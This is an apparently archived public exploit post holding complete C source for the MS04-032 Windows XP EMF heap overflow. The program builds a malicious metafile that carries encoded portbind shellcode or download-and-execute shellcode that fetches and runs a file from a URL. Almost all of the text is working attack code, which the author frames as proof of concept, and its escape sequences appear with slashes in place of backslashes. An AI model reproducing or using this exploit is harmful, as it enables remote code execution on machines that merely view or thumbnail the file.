[EXPL] (MS04-032) Microsoft Windows XP Metafile (.emf) Heap

---snip---
/* HOD-ms04032-emf-expl2.c:
*
* (MS04-032) Microsoft Windows XP Metafile (.emf) Heap
Overflow
*
* Exploit version 0.2 (PUBLIC) coded by
*
*
* .::[ houseofdabus ]::.
*
*
* [at inbox dot ru]
* -------------------------------------------------------------------
* About WMF/EMF:
* Windows Metafile (WMF) and Enhanced Windows
Metafile (EMF) formats
* are vector files that can contain a raster image...
*
* -------------------------------------------------------------------
* The vulnerability will be triggered by either viewing a
malicious
* file or by navigating to a directory, which contains a
malicious
* file and displays it as a thumbnail.
*
* Graphics Rendering Engine Vulnerability -
CAN-2004-0209
* -------------------------------------------------------------------
* Tested on:
* - Internet Explorer 6.0 (SP1) (iexplore.exe)
* - Explorer (explorer.exe)
* - Windows XP SP1
*
* -------------------------------------------------------------------
* Compile:
* Win32/VC++ : cl HOD-ms04032-emf-expl.c
* Win32/cygwin: gcc HOD-ms04032-emf-expl.c
-lws2_32.lib
* Linux : gcc -o HOD-ms04032-emf-expl
HOD-ms04032-emf-expl.c
*
* -------------------------------------------------------------------
* Command Line Parameters/Arguments:
*
* HOD.exe <file> <shellcode> <bind/connectback port>
[connectback IP]
*
* Shellcode:
* 1 - Portbind shellcode
* 2 - Connectback shellcode
*
* -------------------------------------------------------------------
* Examples:
*
* C:/>HOD-ms04032-emf-expl.exe expl.emf 1 7777
*
* C:/>HOD-ms04032-emf-expl.exe expl.emf 2
http://host/file.exe
*
* -------------------------------------------------------------------
*
* This is provided as proof-of-concept code only for
educational
* purposes and testing by authorized individuals with
permission to
* do so.
*
*/

/* #define _WIN32 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#include <winsock2.h>

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#endif

#include <windows.h>

unsigned char emfheader[] =
"/x01/x00/x00/x00/x40/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x20/x00/x00/x00/x20/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x4c/x03/x00/x00/x4c/x03/x00/x00/x20/x45/x4d/x46/x00/x00/x01/x00"
"/x40/x00/x00/x00/x0b/x00/x00/x00/x0a/x00/x00/x00/xff/xff/x00/x00"

"/xEB/x12/x90/x90/x90/x90/x90/x90"
"/x9e/x5c/x05/x78" /* call [edi+0x74h] - rpcrt4.dll */
"/xb4/x73/xed/x77"; /* Top SEH - XP SP1 */

unsigned char portbind_sc[] =
"/x90/x90/x90/x90/x90/x90/x90/x90"

"/xeb/x03/x5d/xeb/x05/xe8/xf8/xff"
"/xff/xff/x8b/xc5/x83/xc0/x11/x33/xc9/x66/xb9/xc9/x01/x80/x30/x88"
"/x40/xe2/xfa/xdd/x03/x64/x03/x7c/x09/x64/x08/x88/x88/x88/x60/xc4"
"/x89/x88/x88/x01/xce/x74/x77/xfe/x74/xe0/x06/xc6/x86/x64/x60/xd9"
"/x89/x88/x88/x01/xce/x4e/xe0/xbb/xba/x88/x88/xe0/xff/xfb/xba/xd7"
"/xdc/x77/xde/x4e/x01/xce/x70/x77/xfe/x74/xe0/x25/x51/x8d/x46/x60"
"/xb8/x89/x88/x88/x01/xce/x5a/x77/xfe/x74/xe0/xfa/x76/x3b/x9e/x60"
"/xa8/x89/x88/x88/x01/xce/x46/x77/xfe/x74/xe0/x67/x46/x68/xe8/x60"
"/x98/x89/x88/x88/x01/xce/x42/x77/xfe/x70/xe0/x43/x65/x74/xb3/x60"
"/x88/x89/x88/x88/x01/xce/x7c/x77/xfe/x70/xe0/x51/x81/x7d/x25/x60"
"/x78/x88/x88/x88/x01/xce/x78/x77/xfe/x70/xe0/x2c/x92/xf8/x4f/x60"
"/x68/x88/x88/x88/x01/xce/x64/x77/xfe/x70/xe0/x2c/x25/xa6/x61/x60"
"/x58/x88/x88/x88/x01/xce/x60/x77/xfe/x70/xe0/x6d/xc1/x0e/xc1/x60"
"/x48/x88/x88/x88/x01/xce/x6a/x77/xfe/x70/xe0/x6f/xf1/x4e/xf1/x60"
"/x38/x88/x88/x88/x01/xce/x5e/xbb/x77/x09/x64/x7c/x89/x88/x88/xdc"
"/xe0/x89/x89/x88/x88/x77/xde/x7c/xd8/xd8/xd8/xd8/xc8/xd8/xc8/xd8"
"/x77/xde/x78/x03/x50/xdf/xdf/xe0/x8a/x88/xAB/x6F/x03/x44/xe2/x9e"
"/xd9/xdb/x77/xde/x64/xdf/xdb/x77/xde/x60/xbb/x77/xdf/xd9/xdb/x77"
"/xde/x6a/x03/x58/x01/xce/x36/xe0/xeb/xe5/xec/x88/x01/xee/x4a/x0b"
"/x4c/x24/x05/xb4/xac/xbb/x48/xbb/x41/x08/x49/x9d/x23/x6a/x75/x4e"
"/xcc/xac/x98/xcc/x76/xcc/xac/xb5/x01/xdc/xac/xc0/x01/xdc/xac/xc4"
"/x01/xdc/xac/xd8/x05/xcc/xac/x98/xdc/xd8/xd9/xd9/xd9/xc9/xd9/xc1"
"/xd9/xd9/x77/xfe/x4a/xd9/x77/xde/x46/x03/x44/xe2/x77/x77/xb9/x77"
"/xde/x5a/x03/x40/x77/xfe/x36/x77/xde/x5e/x63/x16/x77/xde/x9c/xde"
"/xec/x29/xb8/x88/x88/x88/x03/xc8/x84/x03/xf8/x94/x25/x03/xc8/x80"
"/xd6/x4a/x8c/x88/xdb/xdd/xde/xdf/x03/xe4/xac/x90/x03/xcd/xb4/x03"
"/xdc/x8d/xf0/x8b/x5d/x03/xc2/x90/x03/xd2/xa8/x8b/x55/x6b/xba/xc1"
"/x03/xbc/x03/x8b/x7d/xbb/x77/x74/xbb/x48/x24/xb2/x4c/xfc/x8f/x49"
"/x47/x85/x8b/x70/x63/x7a/xb3/xf4/xac/x9c/xfd/x69/x03/xd2/xac/x8b"
"/x55/xee/x03/x84/xc3/x03/xd2/x94/x8b/x55/x03/x8c/x03/x8b/x4d/x63"
"/x8a/xbb/x48/x03/x5d/xd7/xd6/xd5/xd3/x4a/x8c/x88";

unsigned char download_sc[]=
"/x90/x90/x90/x90/x90/x90/x90/x90"

"/xEB/x0F/x58/x80/x30/x17/x40/x81/x38/x6D/x30/x30/x21/x75/xF4"
"/xEB/x05/xE8/xEC/xFF/xFF/xFF/xFE/x94/x16/x17/x17/x4A/x42/x26"
"/xCC/x73/x9C/x14/x57/x84/x9C/x54/xE8/x57/x62/xEE/x9C/x44/x14"
"/x71/x26/xC5/x71/xAF/x17/x07/x71/x96/x2D/x5A/x4D/x63/x10/x3E"
"/xD5/xFE/xE5/xE8/xE8/xE8/x9E/xC4/x9C/x6D/x2B/x16/xC0/x14/x48"
"/x6F/x9C/x5C/x0F/x9C/x64/x37/x9C/x6C/x33/x16/xC1/x16/xC0/xEB"
"/xBA/x16/xC7/x81/x90/xEA/x46/x26/xDE/x97/xD6/x18/xE4/xB1/x65"
"/x1D/x81/x4E/x90/xEA/x63/x05/x50/x50/xF5/xF1/xA9/x18/x17/x17"
"/x17/x3E/xD9/x3E/xE0/xFE/xFF/xE8/xE8/xE8/x26/xD7/x71/x9C/x10"
"/xD6/xF7/x15/x9C/x64/x0B/x16/xC1/x16/xD1/xBA/x16/xC7/x9E/xD1"
"/x9E/xC0/x4A/x9A/x92/xB7/x17/x17/x17/x57/x97/x2F/x16/x62/xED"
"/xD1/x17/x17/x9A/x92/x0B/x17/x17/x17/x47/x40/xE8/xC1/x7F/x13"
"/x17/x17/x17/x7F/x17/x07/x17/x17/x7F/x68/x81/x8F/x17/x7F/x17"
"/x17/x17/x17/xE8/xC7/x9E/x92/x9A/x17/x17/x17/x9A/x92/x18/x17"
"/x17/x17/x47/x40/xE8/xC1/x40/x9A/x9A/x42/x17/x17/x17/x46/xE8"
"/xC7/x9E/xD0/x9A/x92/x4A/x17/x17/x17/x47/x40/xE8/xC1/x26/xDE"
"/x46/x46/x46/x46/x46/xE8/xC7/x9E/xD4/x9A/x92/x7C/x17/x17/x17"
"/x47/x40/xE8/xC1/x26/xDE/x46/x46/x46/x46/x9A/x82/xB6/x17/x17"
"/x17/x45/x44/xE8/xC7/x9E/xD4/x9A/x92/x6B/x17/x17/x17/x47/x40"
"/xE8/xC1/x9A/x9A/x86/x17/x17/x17/x46/x7F/x68/x81/x8F/x17/xE8"
"/xA2/x9A/x17/x17/x17/x44/xE8/xC7/x48/x9A/x92/x3E/x17/x17/x17"
"/x47/x40/xE8/xC1/x7F/x17/x17/x17/x17/x9A/x8A/x82/x17/x17/x17"
"/x44/xE8/xC7/x9E/xD4/x9A/x92/x26/x17/x17/x17/x47/x40/xE8/xC1"
"/xE8/xA2/x86/x17/x17/x17/xE8/xA2/x9A/x17/x17/x17/x44/xE8/xC7"
"/x9A/x92/x2E/x17/x17/x17/x47/x40/xE8/xC1/x44/xE8/xC7/x9A/x92"
"/x56/x17/x17/x17/x47/x40/xE8/xC1/x7F/x12/x17/x17/x17/x9A/x9A"
"/x82/x17/x17/x17/x46/xE8/xC7/x9A/x92/x5E/x17/x17/x17/x47/x40"
"/xE8/xC1/x7F/x17/x17/x17/x17/xE8/xC7/xFF/x6F/xE9/xE8/xE8/x50"
"/x72/x63/x47/x65/x78/x74/x56/x73/x73/x65/x72/x64/x64/x17/x5B"
"/x78/x76/x73/x5B/x7E/x75/x65/x76/x65/x6E/x56/x17/x41/x7E/x65"
"/x63/x62/x76/x7B/x56/x7B/x7B/x78/x74/x17/x48/x7B/x74/x65/x72"
"/x76/x63/x17/x48/x7B/x60/x65/x7E/x63/x72/x17/x48/x7B/x74/x7B"
"/x78/x64/x72/x17/x40/x7E/x79/x52/x6F/x72/x74/x17/x52/x6F/x7E"
"/x63/x47/x65/x78/x74/x72/x64/x64/x17/x40/x7E/x79/x5E/x79/x72"
"/x63/x17/x5E/x79/x63/x72/x65/x79/x72/x63/x58/x67/x72/x79/x56"
"/x17/x5E/x79/x63/x72/x65/x79/x72/x63/x58/x67/x72/x79/x42/x65"
"/x7B/x56/x17/x5E/x79/x63/x72/x65/x79/x72/x63/x45/x72/x76/x73"
"/x51/x7E/x7B/x72/x17/x17/x17/x17/x17/x17/x17/x17/x17/x7A/x27"
"/x27/x39/x72/x6F/x72/x17""HOD""/x21";

unsigned char endoffile[] = "/x00/x00/x00/x00";

void
usage(char *prog)
{
printf("Usage:/n");
printf("%s <file> <shellcode> <bindport / url>/n", prog);
printf("/nShellcode:/n");
printf(" 1 - Portbind shellcode/n");
printf(" 2 - Download & exec shellcode/n/n");
exit(0);
}

int
main(int argc, char **argv)
{
char endofurl = '/x01';
unsigned short port;
int sc;
FILE *fp;

printf("/n(MS04-032) Microsoft Windows XP Metafile
(.emf) Heap Overflow/n/n");
printf("--- Coded by .::[ houseofdabus ]::. ---/n/n");

if (argc < 4) usage(argv[0]);

sc = atoi(argv[2]);
if ((sc > 2) || (sc < 1)) usage(argv[0]);

fp = fopen(argv[1], "wb");
if (fp == NULL) {
printf("[-] error: can/'t create file: %s/n", argv[1]);
exit(0);
}

/* header */
fwrite(emfheader, 1, sizeof(emfheader)-1, fp);

printf("[*] Shellcode: ");
if (sc == 1) {
port = atoi(argv[3]);
printf("Portbind, port = %u/n", port);
port = htons(port^(unsigned short)0x8888);
memcpy(portbind_sc+266, &port, 2);
fwrite(portbind_sc, 1, sizeof(portbind_sc)-1, fp);
fwrite(endoffile, 1, 4, fp);
}
else {
printf("Download & exec, url = %s/n", argv[3]);
fwrite(download_sc, 1, sizeof(download_sc)-1,
fp);
fwrite(argv[3], 1, strlen(argv[3]), fp);
fwrite(&endofurl, 1, 1, fp);
fwrite(endoffile, 1, 4, fp);
}

printf("[+] Ok/n");
fclose(fp);

return 0;
}

---snip---